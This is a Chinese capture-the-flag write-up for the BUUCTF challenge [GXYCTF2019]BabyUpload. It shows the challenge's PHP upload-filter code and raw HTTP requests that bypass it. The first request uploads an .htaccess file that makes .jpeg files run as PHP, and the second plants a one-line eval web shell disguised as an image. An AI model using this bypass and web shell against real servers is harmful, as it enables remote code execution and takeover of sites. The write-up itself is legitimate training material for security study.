IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 开发测试 -> BUUCTF WEB [GXYCTF2019]BabyUpload -> 正文阅读

[开发测试]BUUCTF WEB [GXYCTF2019]BabyUpload

BUUCTF WEB [GXYCTF2019]BabyUpload


  • 查看题目源码

    <?php
    session_start();
    echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> 
    <title>Upload</title>
    <form action=\"\" method=\"post\" enctype=\"multipart/form-data\">
    上传文件<input type=\"file\" name=\"uploaded\" />
    <input type=\"submit\" name=\"submit\" value=\"上传\" />
    </form>";
    error_reporting(0);
    if(!isset($_SESSION['user'])){
        $_SESSION['user'] = md5((string)time() . (string)rand(100, 1000));
    }
    if(isset($_FILES['uploaded'])) {
        $target_path  = getcwd() . "/upload/" . md5($_SESSION['user']);
        $t_path = $target_path . "/" . basename($_FILES['uploaded']['name']);
        $uploaded_name = $_FILES['uploaded']['name'];
        $uploaded_ext  = substr($uploaded_name, strrpos($uploaded_name,'.') + 1);
        $uploaded_size = $_FILES['uploaded']['size'];
        $uploaded_tmp  = $_FILES['uploaded']['tmp_name'];
     
        if(preg_match("/ph/i", strtolower($uploaded_ext))){
            die("后缀名不能有ph!");
        }
        else{
            if ((($_FILES["uploaded"]["type"] == "") || ($_FILES["uploaded"]["type"] == "image/jpeg") || ($_FILES["uploaded"]["type"] == "image/pjpeg")) && ($_FILES["uploaded"]["size"] < 2048)){
                $content = file_get_contents($uploaded_tmp);
                if(preg_match("/\<\?/i", $content)){
                    die("诶,别蒙我啊,这标志明显还是php啊");
                }
                else{
                    mkdir(iconv("UTF-8", "GBK", $target_path), 0777, true);
                    move_uploaded_file($uploaded_tmp, $t_path);
                    echo "{$t_path} succesfully uploaded!";
                }
            }
            else{
                die("上传类型也太露骨了吧!");
            }
        }
    }
    ?>
    
  • 第一层过滤,文件后缀不能有ph

    if(preg_match("/ph/i", strtolower($uploaded_ext)))
    
  • 第二层过滤,上传文件类型为image/jpegimage/pjpeg且文件大小小于2048

     if ((($_FILES["uploaded"]["type"] == "") || ($_FILES["uploaded"]["type"] == "image/jpeg") || ($_FILES["uploaded"]["type"] == "image/pjpeg")) && ($_FILES["uploaded"]["size"] < 2048))
    
  • 第三层过滤,文件内容中不能有<?

    if(preg_match("/\<\?/i", $content))
    
  • 思路为上传,htaccess文件,将jpeg文件当做php文件解析

    POST / HTTP/1.1
    Host: dae5a433-f772-4c37-b2d4-a49c51fb0ade.node4.buuoj.cn:81
    Content-Length: 284
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    Origin: http://dae5a433-f772-4c37-b2d4-a49c51fb0ade.node4.buuoj.cn:81
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykmAwJBDCdC6wHnib
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: http://dae5a433-f772-4c37-b2d4-a49c51fb0ade.node4.buuoj.cn:81/
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: PHPSESSID=17f9c003a03305399eb60228654d19c9
    Connection: close
    
    ------WebKitFormBoundarykmAwJBDCdC6wHnib
    Content-Disposition: form-data; name="uploaded"; filename=".htaccess"
    Content-Type: image/jpeg
    
    AddType application/x-httpd-php .jpeg
    ------WebKitFormBoundarykmAwJBDCdC6wHnib
    Content-Disposition: form-data; name="submit"
    
    涓婁紶
    ------WebKitFormBoundarykmAwJBDCdC6wHnib--
    
    

    回显

    /var/www/html/upload/9cd8cd841940b6c5858b3f5e066362e4/.htaccess succesfully uploaded!
    
  • 再上传1.jpeg后门文件

    POST / HTTP/1.1
    Host: dae5a433-f772-4c37-b2d4-a49c51fb0ade.node4.buuoj.cn:81
    Content-Length: 334
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    Origin: http://dae5a433-f772-4c37-b2d4-a49c51fb0ade.node4.buuoj.cn:81
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykmAwJBDCdC6wHnib
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: http://dae5a433-f772-4c37-b2d4-a49c51fb0ade.node4.buuoj.cn:81/
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: PHPSESSID=17f9c003a03305399eb60228654d19c9
    Connection: close
    
    ------WebKitFormBoundarykmAwJBDCdC6wHnib
    Content-Disposition: form-data; name="uploaded"; filename="1.jpeg"
    Content-Type: image/jpeg
    
    <script language=php>@eval($_POST['cmd']);</script>
    ------WebKitFormBoundarykmAwJBDCdC6wHnib
    Content-Disposition: form-data; name="submit"
    
    涓婁紶
    ------WebKitFormBoundarykmAwJBDCdC6wHnib--
    
    

    回显

    /var/www/html/upload/9cd8cd841940b6c5858b3f5e066362e4/1.jpeg succesfully uploaded!
    
  • 使用蚁剑连接,在文件根目录下找到flag文件

    flag{89a4d796-60f4-4ffb-8bf5-5151ed7a9928}
    
  开发测试 最新文章
pytest系列——allure之生成测试报告(Wind
某大厂软件测试岗一面笔试题+二面问答题面试
iperf 学习笔记
关于Python中使用selenium八大定位方法
【软件测试】为什么提升不了?8年测试总结再
软件测试复习
PHP笔记-Smarty模板引擎的使用
C++Test使用入门
【Java】单元测试
Net core 3.x 获取客户端地址
上一篇文章      下一篇文章      查看所有文章
加:2022-04-22 19:07:17  更:2022-04-22 19:07:40 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/19 12:12:13-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码